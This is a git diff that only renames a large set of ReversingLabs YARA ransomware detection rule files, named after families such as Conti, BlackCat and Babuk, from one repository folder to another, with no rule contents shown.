diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Dusk.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Dusk.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Dusk.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Dusk.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.EAF.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.EAF.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.EAF.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.EAF.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Eternity.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Eternity.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Eternity.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Eternity.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Fantom.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Fantom.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Fantom.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Fantom.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.GhosTEncryptor.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.GhosTEncryptor.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.GhosTEncryptor.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.GhosTEncryptor.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Ghostbin.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Ghostbin.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Ghostbin.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Ghostbin.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.GoodWill.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.GoodWill.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.GoodWill.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.GoodWill.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.HarpoonLocker.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.HarpoonLocker.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.HarpoonLocker.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.HarpoonLocker.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Hog.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Hog.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Hog.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Hog.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Invert.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Invert.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Invert.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Invert.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Janelle.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Janelle.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Janelle.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Janelle.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Khonsari.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Khonsari.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Khonsari.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Khonsari.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.McBurglar.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.McBurglar.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.McBurglar.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.McBurglar.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Moisha.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Moisha.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Moisha.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Moisha.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Namaste.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Namaste.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Namaste.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Namaste.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Oct.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Oct.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Oct.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Oct.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Pacman.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Pacman.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Pacman.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Pacman.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.PoliceRecords.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.PoliceRecords.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.PoliceRecords.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.PoliceRecords.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Povlsomware.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Povlsomware.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Povlsomware.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Povlsomware.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Retis.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Retis.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Retis.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Retis.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.TaRRaK.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.TaRRaK.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.TaRRaK.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.TaRRaK.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Thanos.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Thanos.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Thanos.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Thanos.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.TimeCrypt.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.TimeCrypt.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.TimeCrypt.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.TimeCrypt.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.TimeTime.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.TimeTime.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.TimeTime.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.TimeTime.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.Venom.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Venom.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.Venom.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.Venom.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.WildFire.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.WildFire.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.WildFire.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.WildFire.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.WormLocker.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.WormLocker.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.WormLocker.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.WormLocker.yara
diff --git a/yara/ransomware/ByteCode.MSIL.Ransomware.ZeroLocker.yara b/yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.ZeroLocker.yara
similarity index 100%
rename from yara/ransomware/ByteCode.MSIL.Ransomware.ZeroLocker.yara
rename to yara-ReversingLabs/ransomware/ByteCode.MSIL.Ransomware.ZeroLocker.yara
diff --git a/yara/ransomware/Bytecode.MSIL.Ransomware.CobraLocker.yara b/yara-ReversingLabs/ransomware/Bytecode.MSIL.Ransomware.CobraLocker.yara
similarity index 100%
rename from yara/ransomware/Bytecode.MSIL.Ransomware.CobraLocker.yara
rename to yara-ReversingLabs/ransomware/Bytecode.MSIL.Ransomware.CobraLocker.yara
diff --git a/yara/ransomware/Linux.Ransomware.GwisinLocker.yara b/yara-ReversingLabs/ransomware/Linux.Ransomware.GwisinLocker.yara
similarity index 100%
rename from yara/ransomware/Linux.Ransomware.GwisinLocker.yara
rename to yara-ReversingLabs/ransomware/Linux.Ransomware.GwisinLocker.yara
diff --git a/yara/ransomware/Linux.Ransomware.KillDisk.yara b/yara-ReversingLabs/ransomware/Linux.Ransomware.KillDisk.yara
similarity index 100%
rename from yara/ransomware/Linux.Ransomware.KillDisk.yara
rename to yara-ReversingLabs/ransomware/Linux.Ransomware.KillDisk.yara
diff --git a/yara/ransomware/Linux.Ransomware.LuckyJoe.yara b/yara-ReversingLabs/ransomware/Linux.Ransomware.LuckyJoe.yara
similarity index 100%
rename from yara/ransomware/Linux.Ransomware.LuckyJoe.yara
rename to yara-ReversingLabs/ransomware/Linux.Ransomware.LuckyJoe.yara
diff --git a/yara/ransomware/Linux.Ransomware.RedAlert.yara b/yara-ReversingLabs/ransomware/Linux.Ransomware.RedAlert.yara
similarity index 100%
rename from yara/ransomware/Linux.Ransomware.RedAlert.yara
rename to yara-ReversingLabs/ransomware/Linux.Ransomware.RedAlert.yara
diff --git a/yara/ransomware/Win32.Ransomware.5ss5c.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.5ss5c.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.5ss5c.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.5ss5c.yara
diff --git a/yara/ransomware/Win32.Ransomware.ASN1Encoder.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.ASN1Encoder.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.ASN1Encoder.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.ASN1Encoder.yara
diff --git a/yara/ransomware/Win32.Ransomware.Acepy.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Acepy.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Acepy.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Acepy.yara
diff --git a/yara/ransomware/Win32.Ransomware.Afrodita.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Afrodita.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Afrodita.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Afrodita.yara
diff --git a/yara/ransomware/Win32.Ransomware.Ako.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Ako.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Ako.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Ako.yara
diff --git a/yara/ransomware/Win32.Ransomware.Alcatraz.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Alcatraz.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Alcatraz.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Alcatraz.yara
diff --git a/yara/ransomware/Win32.Ransomware.AnteFrigus.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.AnteFrigus.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.AnteFrigus.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.AnteFrigus.yara
diff --git a/yara/ransomware/Win32.Ransomware.Archiveus.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Archiveus.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Archiveus.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Archiveus.yara
diff --git a/yara/ransomware/Win32.Ransomware.Armage.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Armage.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Armage.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Armage.yara
diff --git a/yara/ransomware/Win32.Ransomware.Atlas.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Atlas.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Atlas.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Atlas.yara
diff --git a/yara/ransomware/Win32.Ransomware.Avaddon.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Avaddon.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Avaddon.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Avaddon.yara
diff --git a/yara/ransomware/Win32.Ransomware.AvosLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.AvosLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.AvosLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.AvosLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.BKRansomware.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.BKRansomware.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.BKRansomware.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.BKRansomware.yara
diff --git a/yara/ransomware/Win32.Ransomware.Babuk.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Babuk.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Babuk.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Babuk.yara
diff --git a/yara/ransomware/Win32.Ransomware.BadBlock.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.BadBlock.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.BadBlock.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.BadBlock.yara
diff --git a/yara/ransomware/Win32.Ransomware.Badbeeteam.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Badbeeteam.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Badbeeteam.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Badbeeteam.yara
diff --git a/yara/ransomware/Win32.Ransomware.Balaclava.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Balaclava.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Balaclava.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Balaclava.yara
diff --git a/yara/ransomware/Win32.Ransomware.Bam2021.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Bam2021.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Bam2021.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Bam2021.yara
diff --git a/yara/ransomware/Win32.Ransomware.BananaCrypt.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.BananaCrypt.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.BananaCrypt.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.BananaCrypt.yara
diff --git a/yara/ransomware/Win32.Ransomware.BandarChor.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.BandarChor.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.BandarChor.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.BandarChor.yara
diff --git a/yara/ransomware/Win32.Ransomware.BitCrypt.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.BitCrypt.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.BitCrypt.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.BitCrypt.yara
diff --git a/yara/ransomware/Win32.Ransomware.BlackBasta.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.BlackBasta.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.BlackBasta.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.BlackBasta.yara
diff --git a/yara/ransomware/Win32.Ransomware.BlackCat.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.BlackCat.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.BlackCat.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.BlackCat.yara
diff --git a/yara/ransomware/Win32.Ransomware.BlackMoon.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.BlackMoon.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.BlackMoon.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.BlackMoon.yara
diff --git a/yara/ransomware/Win32.Ransomware.Blitzkrieg.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Blitzkrieg.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Blitzkrieg.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Blitzkrieg.yara
diff --git a/yara/ransomware/Win32.Ransomware.BlueLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.BlueLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.BlueLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.BlueLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.BrainCrypt.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.BrainCrypt.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.BrainCrypt.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.BrainCrypt.yara
diff --git a/yara/ransomware/Win32.Ransomware.Buran.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Buran.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Buran.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Buran.yara
diff --git a/yara/ransomware/Win32.Ransomware.ChiChi.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.ChiChi.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.ChiChi.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.ChiChi.yara
diff --git a/yara/ransomware/Win32.Ransomware.Cincoo.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Cincoo.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Cincoo.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Cincoo.yara
diff --git a/yara/ransomware/Win32.Ransomware.Clop.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Clop.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Clop.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Clop.yara
diff --git a/yara/ransomware/Win32.Ransomware.Conti.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Conti.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Conti.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Conti.yara
diff --git a/yara/ransomware/Win32.Ransomware.Cryakl.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Cryakl.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Cryakl.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Cryakl.yara
diff --git a/yara/ransomware/Win32.Ransomware.Crypmic.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Crypmic.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Crypmic.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Crypmic.yara
diff --git a/yara/ransomware/Win32.Ransomware.Crypren.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Crypren.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Crypren.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Crypren.yara
diff --git a/yara/ransomware/Win32.Ransomware.CryptoBit.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.CryptoBit.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.CryptoBit.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.CryptoBit.yara
diff --git a/yara/ransomware/Win32.Ransomware.CryptoFortress.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.CryptoFortress.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.CryptoFortress.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.CryptoFortress.yara
diff --git a/yara/ransomware/Win32.Ransomware.CryptoJoker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.CryptoJoker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.CryptoJoker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.CryptoJoker.yara
diff --git a/yara/ransomware/Win32.Ransomware.CryptoLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.CryptoLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.CryptoLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.CryptoLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.CryptoWall.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.CryptoWall.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.CryptoWall.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.CryptoWall.yara
diff --git a/yara/ransomware/Win32.Ransomware.Crysis.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Crysis.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Crysis.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Crysis.yara
diff --git a/yara/ransomware/Win32.Ransomware.Cuba.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Cuba.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Cuba.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Cuba.yara
diff --git a/yara/ransomware/Win32.Ransomware.DMALocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.DMALocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.DMALocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.DMALocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.DMR.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.DMR.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.DMR.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.DMR.yara
diff --git a/yara/ransomware/Win32.Ransomware.DarkSide.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.DarkSide.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.DarkSide.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.DarkSide.yara
diff --git a/yara/ransomware/Win32.Ransomware.DearCry.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.DearCry.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.DearCry.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.DearCry.yara
diff --git a/yara/ransomware/Win32.Ransomware.Defray.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Defray.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Defray.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Defray.yara
diff --git a/yara/ransomware/Win32.Ransomware.Delphimorix.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Delphimorix.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Delphimorix.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Delphimorix.yara
diff --git a/yara/ransomware/Win32.Ransomware.DenizKizi.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.DenizKizi.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.DenizKizi.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.DenizKizi.yara
diff --git a/yara/ransomware/Win32.Ransomware.DesuCrypt.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.DesuCrypt.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.DesuCrypt.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.DesuCrypt.yara
diff --git a/yara/ransomware/Win32.Ransomware.Dharma.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Dharma.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Dharma.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Dharma.yara
diff --git a/yara/ransomware/Win32.Ransomware.DirtyDecrypt.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.DirtyDecrypt.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.DirtyDecrypt.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.DirtyDecrypt.yara
diff --git a/yara/ransomware/Win32.Ransomware.District.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.District.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.District.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.District.yara
diff --git a/yara/ransomware/Win32.Ransomware.DogeCrypt.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.DogeCrypt.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.DogeCrypt.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.DogeCrypt.yara
diff --git a/yara/ransomware/Win32.Ransomware.Dragon.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Dragon.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Dragon.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Dragon.yara
diff --git a/yara/ransomware/Win32.Ransomware.Dualshot.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Dualshot.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Dualshot.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Dualshot.yara
diff --git a/yara/ransomware/Win32.Ransomware.Encoded01.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Encoded01.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Encoded01.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Encoded01.yara
diff --git a/yara/ransomware/Win32.Ransomware.Erica.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Erica.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Erica.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Erica.yara
diff --git a/yara/ransomware/Win32.Ransomware.FCT.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.FCT.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.FCT.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.FCT.yara
diff --git a/yara/ransomware/Win32.Ransomware.FLKR.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.FLKR.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.FLKR.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.FLKR.yara
diff --git a/yara/ransomware/Win32.Ransomware.FarAttack.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.FarAttack.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.FarAttack.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.FarAttack.yara
diff --git a/yara/ransomware/Win32.Ransomware.FenixLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.FenixLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.FenixLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.FenixLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.Ferrlock.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Ferrlock.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Ferrlock.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Ferrlock.yara
diff --git a/yara/ransomware/Win32.Ransomware.Flamingo.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Flamingo.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Flamingo.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Flamingo.yara
diff --git a/yara/ransomware/Win32.Ransomware.FuxSocy.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.FuxSocy.yara
similarity index 100%
